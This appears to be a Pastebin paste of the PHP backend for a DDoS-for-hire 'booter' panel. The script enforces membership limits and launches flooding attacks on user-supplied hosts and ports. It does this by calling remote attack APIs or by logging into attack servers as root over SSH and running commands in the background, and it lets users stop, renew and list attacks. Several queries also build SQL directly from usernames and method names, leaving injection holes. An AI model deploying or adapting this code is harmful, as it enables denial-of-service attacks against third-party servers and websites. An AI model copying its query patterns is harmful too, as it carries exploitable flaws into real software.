Guest User

Untitled

a guest
Sep 11th, 2017
26
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.33 KB | None | 0 0
  1. <?php
  2. //Header
  3. ob_start();
  4. require_once '../@/config.php';
  5. require_once '../@/init.php';
  6. if (!empty($maintaince)) {
  7. die($maintaince);
  8. }
  9. if (!($user->LoggedIn()) || !($user->notBanned($odb)) || !(isset($_GET['type'])) || !(isset($_SERVER['HTTP_REFERER']))) {
  10. die();
  11. }
  12. if (!($user->hasMembership($odb)) && $testboots == 0) {
  13. die();
  14. }
  15. $type = $_GET['type'];
  16. $username = $_SESSION['username'];
  17.  
  18. // TN
  19. if ($type == 'all') {
  20. //Get, set and validate!
  21. $host = $_GET['host'];
  22. $port = intval($_GET['port']);
  23. $time = intval($_GET['time']);
  24. $method = $_GET['method'];
  25. //Verifying all fields
  26. if (empty($host) || empty($time) || empty($port) || empty($method)) {
  27. die(error('Please verify all fields'));
  28. }
  29. //Check if the method is legit
  30. if (!ctype_alnum(str_replace(' ', '', $method))) {
  31. die(error('Method is unavailable'));
  32. }
  33. $SQL = $odb->prepare("SELECT COUNT(*) FROM `methods` WHERE `name` = :method");
  34. $SQL -> execute(array(':method' => $method));
  35. $countMethod = $SQL -> fetchColumn(0);
  36. if ($countMethod == 0) {
  37. die(error('Method is unavailable'));
  38. }
  39. //Check if the host is a valid url or IP
  40. $SQL = $odb->prepare("SELECT `type` FROM `methods` WHERE `name` = :method");
  41. $SQL -> execute(array(':method' => $method));
  42. $type = $SQL -> fetchColumn(0);
  43. if ($type == 'layer7') {
  44. if (filter_var($host, FILTER_VALIDATE_URL) === FALSE) {
  45. die(error('Host is not a valid URL.'));
  46. }
  47. $parameters = array(
  48. ".gov",
  49. ".edu",
  50. "$",
  51. "{",
  52. "%",
  53. "<"
  54. );
  55. foreach ($parameters as $parameter) {
  56. if (strpos($host, $parameter)) {
  57. die('You are not allowed to attack these kind of websites!');
  58. }
  59. }
  60. } elseif (!filter_var($host, FILTER_VALIDATE_IP)) {
  61. die(error('Host is not a valid IP address'));
  62. }
  63.  
  64.  
  65. if ($user->hasMembership($odb)) {
  66. $SQL = $odb->prepare("SELECT COUNT(*) FROM `logs` WHERE `user` = :username AND `time` + `date` > UNIX_TIMESTAMP() AND `stopped` = 0");
  67. $SQL -> execute(array(':username' => $username));
  68. $countRunning = $SQL -> fetchColumn(0);
  69. if ($countRunning >= $stats->concurrents($odb, $username)) {
  70. die(error('You have too many boots running.'));
  71. }
  72. }
  73. //Check max boot time
  74. $SQLGetTime = $odb->prepare("SELECT `plans`.`mbt` FROM `plans` LEFT JOIN `users` ON `users`.`membership` = `plans`.`ID` WHERE `users`.`ID` = :id");
  75. $SQLGetTime->execute(array(
  76. ':id' => $_SESSION['ID']
  77. ));
  78. $maxTime = $SQLGetTime->fetchColumn(0);
  79. if ($time > $maxTime) {
  80. die(error('Your max boot time has been exceeded.'));
  81. }
  82. if ($system == 'api') {
  83. //Check rotation
  84. $i = 0;
  85. $SQLSelectAPI = $odb->prepare("SELECT * FROM `api` WHERE `methods` LIKE :method ORDER BY RAND()");
  86. $SQLSelectAPI -> execute(array(':method' => "%{$method}%"));
  87. while ($show = $SQLSelectAPI->fetch(PDO::FETCH_ASSOC)) {
  88. $name = $show['name'];
  89. $count = $odb->query("SELECT COUNT(*) FROM `logs` WHERE `handler` LIKE '%$name%' AND `time` + `date` > UNIX_TIMESTAMP() AND `stopped` = 0")->fetchColumn(0);
  90. if ($count >= $show['slots']) {
  91. continue;
  92. }
  93. $i++;
  94. $arrayFind = array(
  95. '[host]',
  96. '[port]',
  97. '[time]',
  98. '[method]'
  99. );
  100. $arrayReplace = array(
  101. $host,
  102. $port,
  103. $time,
  104. $method
  105. );
  106. $APILink = $show['api'];
  107. $handler[] = $show['name'];
  108. $APILink = str_replace($arrayFind, $arrayReplace, $APILink);
  109. $ch = curl_init();
  110. curl_setopt($ch, CURLOPT_URL, $APILink);
  111. curl_setopt($ch, CURLOPT_HEADER, 0);
  112. curl_setopt($ch, CURLOPT_NOSIGNAL, 1);
  113. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  114. curl_setopt($ch, CURLOPT_TIMEOUT, 3);
  115. curl_exec($ch);
  116. curl_close($ch);
  117. }
  118. }
  119. //End of attacking servers script
  120. $handlers = @implode(",", $handler);
  121. //Insert Logs
  122. $insertLogSQL = $odb->prepare("INSERT INTO `logs` VALUES(NULL, :user, :ip, :port, :time, :method, UNIX_TIMESTAMP(), '0', :handler)");
  123. $insertLogSQL->execute(array(
  124. ':user' => $username,
  125. ':ip' => $host,
  126. ':port' => $port,
  127. ':time' => $time,
  128. ':method' => $method,
  129. ':handler' => $handlers
  130. ));
  131. //Insert test attack
  132. echo success('Attack send to '.$host.':'.$port.'');
  133. }
  134.  
  135. //Start attack function
  136. if ($type == 'start' || $type == 'renew') {
  137. if ($type == 'start') {
  138. //Get, set and validate!
  139. $host = $_GET['host'];
  140. $port = intval($_GET['port']);
  141. $time = intval($_GET['time']);
  142. $method = $_GET['method'];
  143. //Verifying all fields
  144. if (empty($host) || empty($time) || empty($port) || empty($method)) {
  145. die(error('Please verify all fields'));
  146. }
  147. //Check if the method is legit
  148. if (!ctype_alnum(str_replace(' ', '', $method))) {
  149. die(error('Method is unavailable'));
  150. }
  151. $SQL = $odb->prepare("SELECT COUNT(*) FROM `methods` WHERE `name` = :method");
  152. $SQL -> execute(array(':method' => $method));
  153. $countMethod = $SQL -> fetchColumn(0);
  154. if ($countMethod == 0) {
  155. die(error('Method is unavailable'));
  156. }
  157. //Check if the host is a valid url or IP
  158. $SQL = $odb->prepare("SELECT `type` FROM `methods` WHERE `name` = :method");
  159. $SQL -> execute(array(':method' => $method));
  160. $type = $SQL -> fetchColumn(0);
  161. if ($type == 'layer7') {
  162. if (filter_var($host, FILTER_VALIDATE_URL) === FALSE) {
  163. die(error('Host is not a valid URL.'));
  164. }
  165. $parameters = array(
  166. ".gov",
  167. ".edu",
  168. "$",
  169. "{",
  170. "%",
  171. "<"
  172. );
  173. foreach ($parameters as $parameter) {
  174. if (strpos($host, $parameter)) {
  175. die('You are not allowed to attack these kind of websites!');
  176. }
  177. }
  178. } elseif (!filter_var($host, FILTER_VALIDATE_IP)) {
  179. die(error('Host is not a valid IP address'));
  180. }
  181. //Check if host is blacklisted
  182. $SQL = $odb->prepare("SELECT COUNT(*) FROM `blacklist` WHERE `data` = :host' AND `type` = 'victim'");
  183. $SQL -> execute(array(':host' => $host));
  184. $countBlacklist = $SQL -> fetchColumn(0);
  185. if ($countBlacklist > 0) {
  186. die(error('Host is blacklisted'));
  187. }
  188. } else {
  189. $renew = intval($_GET['id']);
  190. $SQLSelect = $odb->prepare("SELECT * FROM `logs` WHERE `id` = :renew");
  191. $SQLSelect -> execute(array(':renew' => $renew));
  192. while ($show = $SQLSelect->fetch(PDO::FETCH_ASSOC)) {
  193. $host = $show['ip'];
  194. $port = $show['port'];
  195. $time = $show['time'];
  196. $method = $show['method'];
  197. $userr = $show['user'];
  198. }
  199. if (!($userr == $username) && !$user->isAdmin($odb)) {
  200. die(error('This is not your attack'));
  201. }
  202. }
  203. //Check concurrent attacks
  204. if ($user->hasMembership($odb)) {
  205. $SQL = $odb->prepare("SELECT COUNT(*) FROM `logs` WHERE `user` = :username AND `time` + `date` > UNIX_TIMESTAMP() AND `stopped` = 0");
  206. $SQL -> execute(array(':username' => $username));
  207. $countRunning = $SQL -> fetchColumn(0);
  208. if ($countRunning >= $stats->concurrents($odb, $username)) {
  209. die(error('You have too many boots running.'));
  210. }
  211. }
  212. //Check max boot time
  213. $SQLGetTime = $odb->prepare("SELECT `plans`.`mbt` FROM `plans` LEFT JOIN `users` ON `users`.`membership` = `plans`.`ID` WHERE `users`.`ID` = :id");
  214. $SQLGetTime->execute(array(
  215. ':id' => $_SESSION['ID']
  216. ));
  217. $maxTime = $SQLGetTime->fetchColumn(0);
  218. if (!($user->hasMembership($odb)) && $testboots == 1) {
  219. $maxTime = 60;
  220. }
  221. if ($time > $maxTime) {
  222. die(error('Your max boot time has been exceeded.'));
  223. }
  224. //Check open slots
  225. if ($stats->runningBoots($odb) > $maxattacks && $maxattacks > 0) {
  226. die(error('No open slots for your attack.'));
  227. }
  228. //Check if test boot has been launched
  229. if (!($user->hasMembership($odb))) {
  230. $testattack = $odb->query("SELECT `testattack` FROM `users` WHERE `username` = '$username'")->fetchColumn(0);
  231. if ($testboots == 1 && $testattack > 0) {
  232. die(error('You have already launched your test attack'));
  233. }
  234. }
  235. //Check if the system is API
  236. if ($system == 'api') {
  237. //Check rotation
  238. $i = 0;
  239. $SQLSelectAPI = $odb->prepare("SELECT * FROM `api` WHERE `methods` LIKE :method ORDER BY RAND()");
  240. $SQLSelectAPI -> execute(array(':method' => "%{$method}%"));
  241. while ($show = $SQLSelectAPI->fetch(PDO::FETCH_ASSOC)) {
  242. if ($rotation == 1 && $i > 0) {
  243. break;
  244. }
  245. $name = $show['name'];
  246. $count = $odb->query("SELECT COUNT(*) FROM `logs` WHERE `handler` LIKE '%$name%' AND `time` + `date` > UNIX_TIMESTAMP() AND `stopped` = 0")->fetchColumn(0);
  247. if ($count >= $show['slots']) {
  248. continue;
  249. }
  250. $i++;
  251. $arrayFind = array(
  252. '[host]',
  253. '[port]',
  254. '[time]',
  255. '[method]'
  256. );
  257. $arrayReplace = array(
  258. $host,
  259. $port,
  260. $time,
  261. $method
  262. );
  263. $APILink = $show['api'];
  264. $handler[] = $show['name'];
  265. $APILink = str_replace($arrayFind, $arrayReplace, $APILink);
  266. $ch = curl_init();
  267. curl_setopt($ch, CURLOPT_URL, $APILink);
  268. curl_setopt($ch, CURLOPT_HEADER, 0);
  269. curl_setopt($ch, CURLOPT_NOSIGNAL, 1);
  270. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  271. curl_setopt($ch, CURLOPT_TIMEOUT, 3);
  272. curl_exec($ch);
  273. curl_close($ch);
  274. }
  275. if ($i == 0) {
  276. die(error('No open slots for your attack'));
  277. }
  278. }
  279. //Use Attacking Servers
  280. else {
  281. //Check rotation
  282. $i = 0;
  283. $SQLSelectServers = $odb->prepare("SELECT * FROM `servers` WHERE `methods` LIKE :method ORDER BY RAND()");
  284. $SQLSelectServers -> execute(array(':method' => "%{$method}%"));
  285. while ($show = $SQLSelectServers->fetch(PDO::FETCH_ASSOC)) {
  286. if ($rotation == 1 && $i > 0) {
  287. break;
  288. }
  289. $name = $show['name'];
  290. $count = $odb->query("SELECT COUNT(*) FROM `logs` WHERE `handler` LIKE '%$name%' AND `time` + `date` > UNIX_TIMESTAMP() AND `stopped` = 0")->fetchColumn(0);
  291. if ($count >= $show['slots']) {
  292. continue;
  293. }
  294. $SQL = $odb->prepare("SELECT `command` FROM `methods` WHERE `name` = :method");
  295. $SQL -> execute(array(':method' => $method));
  296. $command = $SQL -> fetchColumn(0);
  297. $arrayFind = array(
  298. '{$host}',
  299. '{$port}',
  300. '{$time}',
  301. '{$method}'
  302. );
  303. $arrayReplace = array(
  304. $host,
  305. $port,
  306. $time,
  307. $method
  308. );
  309. $command = str_replace($arrayFind, $arrayReplace, $command);
  310. $handler[] = $show['name'];
  311. $ip = $show['ip'];
  312. $password = $show['password'];
  313. include('Net/SSH2.php');
  314. define('NET_SSH2_LOGGING', NET_SSH2_LOG_COMPLEX);
  315. $ssh = @new Net_SSH2($ip);
  316. if (!$ssh->login('root', $password)) {
  317. die(error('Could not connect to a server. Please try again in a few minutes.'));
  318. }
  319. $ssh->exec($command . ' > /dev/null &');
  320. $i++;
  321. }
  322. }
  323. if ($i == 0) {
  324. die(error('No open slots for your attack'));
  325. }
  326. //End of attacking servers script
  327. $handlers = @implode(",", $handler);
  328. //Insert Logs
  329. $insertLogSQL = $odb->prepare("INSERT INTO `logs` VALUES(NULL, :user, :ip, :port, :time, :method, UNIX_TIMESTAMP(), '0', :handler)");
  330. $insertLogSQL->execute(array(
  331. ':user' => $username,
  332. ':ip' => $host,
  333. ':port' => $port,
  334. ':time' => $time,
  335. ':method' => $method,
  336. ':handler' => $handlers
  337. ));
  338. //Insert test attack
  339. if (!($user->hasMembership($odb)) && $testboots == 1) {
  340. $SQL = $odb->query("UPDATE `users` SET `testattack` = 1 WHERE `username` = '$username'");
  341. }
  342. echo success('Attack send to '.$host.':'.$port.'');
  343. }
  344.  
  345. //Stop attack function
  346. if ($type == 'stop') {
  347. $stop = intval($_GET['id']);
  348. $SQL = $odb->query("UPDATE `logs` SET `stopped` = 1 WHERE `id` = '$stop'");
  349. $SQLSelect = $odb->query("SELECT * FROM `logs` WHERE `id` = '$stop'");
  350. while ($show = $SQLSelect->fetch(PDO::FETCH_ASSOC)) {
  351. $host = $show['ip'];
  352. $port = $show['port'];
  353. $time = $show['time'];
  354. $method = $show['method'];
  355. $handler = $show['handler'];
  356. $command = $odb->query("SELECT `command` FROM `methods` WHERE `name` = '$method'")->fetchColumn(0);
  357. }
  358. $handlers = explode(",", $handler);
  359. foreach ($handlers as $handler)
  360. {
  361. if ($system == 'api') {
  362. $SQLSelectAPI = $odb->query("SELECT `api` FROM `api` WHERE `name` = '$handler' ORDER BY `id` DESC");
  363. while ($show = $SQLSelectAPI->fetch(PDO::FETCH_ASSOC)) {
  364. $arrayFind = array(
  365. '[host]',
  366. '[port]',
  367. '[time]'
  368. );
  369. $arrayReplace = array(
  370. $host,
  371. $port,
  372. $time
  373. );
  374. $APILink = $show['api'];
  375. $APILink = str_replace($arrayFind, $arrayReplace, $APILink);
  376. $stopcommand = "&method=stop";
  377. $stopapi = $APILink . $stopcommand;
  378. $ch = curl_init();
  379. curl_setopt($ch, CURLOPT_URL, $stopapi);
  380. curl_setopt($ch, CURLOPT_HEADER, 0);
  381. curl_setopt($ch, CURLOPT_NOSIGNAL, 1);
  382. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  383. curl_setopt($ch, CURLOPT_TIMEOUT, 3);
  384. curl_exec($ch);
  385. curl_close($ch);
  386. }
  387. } else {
  388. $SQLSelectServers = $odb->query("SELECT * FROM `servers` WHERE `name` = '$handler'");
  389. while ($show = $SQLSelectServers->fetch(PDO::FETCH_ASSOC)) {
  390. $ip = $show['ip'];
  391. $password = $show['password'];
  392. $command2 = 'pkill -f "'.$command.'"';
  393. include('Net/SSH2.php');
  394. define('NET_SSH2_LOGGING', NET_SSH2_LOG_COMPLEX);
  395. $ssh = @new Net_SSH2($ip);
  396. if (!$ssh->login('root', $password)) {
  397. die(error('<strong>ERROR: </strong>Can not connect to an attacking server! Please try again in a few minutes.'));
  398. }
  399. $ssh->exec($command2.' > /dev/null &');
  400. }
  401. }
  402. }
  403. echo success('Attack Has Been Stopped!');
  404. }
  405.  
  406.  
  407. if ($type == 'attacks') {
  408.  
  409. if (isset($_POST['ping']))
  410. {
  411. header('Location: ../index.php');
  412. }
  413. ?>
  414. <table class="table table-striped">
  415. <tbody>
  416. <tr>
  417. <th><center>Target</center></th>
  418. <th><center>Port</center></th>
  419. <th><center>Method</center></th>
  420. <th><center>Expires</center></th>
  421. <th><center>Action</center></th>
  422. <th><center>Ping</center></th>
  423. <tr>
  424.  
  425. </tr>
  426. </tr>
  427. <?php
  428. $SQLSelect = $odb->query("SELECT * FROM `logs` WHERE user='{$_SESSION['username']}' ORDER BY `id` DESC LIMIT 5");
  429. while ($show = $SQLSelect->fetch(PDO::FETCH_ASSOC)) {
  430. $ip = $show['ip'];
  431. $port = $show['port'];
  432. $time = $show['time'];
  433. $method = $odb->query("SELECT `fullname` FROM `methods` WHERE `name` = '{$show['method']}' LIMIT 1")->fetchColumn(0);
  434. $rowID = $show['id'];
  435. $date = $show['date'];
  436. $dios = htmlspecialchars($ip);
  437. $expires = $date + $time - time();
  438. if ($expires < 0 || $show['stopped'] != 0) {
  439. $countdown = "Expired";
  440. } else {
  441. $countdown = '<div id="a' . $rowID . '"></div>';
  442. echo '
  443. <script id="ajax">
  444. var count=' . $expires . ';
  445. var counter=setInterval(a' . $rowID . ', 1000);
  446. function a' . $rowID . '()
  447. {
  448. count=count-1;
  449. if (count <= 0)
  450. {
  451. clearInterval(counter);
  452. attacks();
  453. return;
  454. }
  455. document.getElementById("a' . $rowID . '").innerHTML=count;
  456. }
  457. </script>
  458. ';
  459. }
  460. if ($show['time'] + $show['date'] > time() and $show['stopped'] != 1) {
  461. $action = '<button type="button" onclick="stop(' . $rowID . ')" id="st" class="btn btn-xs btn-effect-ripple btn-danger">
  462. <span class="btn-ripple animate"></span><i class="fa fa-power-off"></i> Stop
  463. </button>';
  464. } else {
  465. $action = '
  466. <button type="button" id="rere" onclick="renew(' . $rowID . ')" class="btn btn-xs btn-effect-ripple btn-success">
  467. <span class="btn-ripple animate"></span><i class="fa fa-refresh"></i> Renew
  468. </button>';
  469. }
  470. ?>
  471.  
  472. <tr>
  473. <td><center><?php echo $dios ?></center></td>
  474. <td><center><?php echo $port ?></center></td>
  475. <td><center><?php echo $method ?></center></td>
  476. <td><center><?php echo $countdown ?></center></td>
  477. <td><center><?php echo $action ?></center></td>
  478. <td><center><button data-toggle="modal" data-target="#ping" class="btn btn-xs btn-effect-ripple btn-danger">
  479. <span class="btn-ripple animate"></span><i class="fa fa-info-circle"></i> Ping
  480. </button></center></td>
  481. </tr>
  482. <?php
  483. }
  484. ?>
  485. </tbody></table>
  486. <?php
  487. }
  488.  
  489. if ($type == 'adminattacks' && $user -> isAdmin($odb)) {
  490. ?>
  491. <table class="table table-striped">
  492. <thead>
  493. <tr>
  494. <th>User</th>
  495. <th>Target</th>
  496. <th>Method</th>
  497. <th>Expires</th>
  498. <th>Stop</th>
  499. </tr>
  500. </thead>
  501. <tbody>
  502. <?php
  503. $SQLSelect = $odb->query("SELECT * FROM `logs` WHERE `time` + `date` > UNIX_TIMESTAMP() AND `stopped` = 0 ORDER BY `id` DESC LIMIT 5");
  504. while ($show = $SQLSelect->fetch(PDO::FETCH_ASSOC)) {
  505. $user = $show['user'];
  506. $ip = $show['ip'];
  507. $port = $show['port'];
  508. $time = $show['time'];
  509. $method = $odb->query("SELECT `fullname` FROM `methods` WHERE `name` = '{$show['method']}' LIMIT 1")->fetchColumn(0);
  510. $rowID = $show['id'];
  511. $date = $show['date'];
  512. $expires = $date + $time - time();
  513. if ($expires < 0 || $show['stopped'] != 0) {
  514. $countdown = "Expired";
  515. } else {
  516. $countdown = '<div id="a' . $rowID . '"></div>';
  517. echo '
  518. <script id="ajax">
  519. var count=' . $expires . ';
  520. var counter=setInterval(a' . $rowID . ', 1000);
  521. function a' . $rowID . '()
  522. {
  523. count=count-1;
  524. if (count <= 0)
  525. {
  526. clearInterval(counter);
  527. adminattacks();
  528. return;
  529. }
  530. document.getElementById("a' . $rowID . '").innerHTML=count;
  531. }
  532. </script>
  533. ';
  534. }
  535. $action = '<button type="button" onclick="stop(' . $rowID . ')" id="st" class="btn btn-danger"><i class="fa fa-power-off"></i> Stop</button>';
  536. echo '<tr><td>'.$user.'</td><td>' . htmlspecialchars($ip) . ':'.$port.'</td><td>' . $method . '</td><td>' . $countdown . '</td><td>' . $action . '</td></tr>';
  537. }
  538. ?>
  539. </tbody>
  540. </table>
  541. <?php
  542. if (empty($show)) {
  543. echo 'No running attacks';
  544. }
  545. }
  546. ?>
Add Comment
Please, Sign In to add comment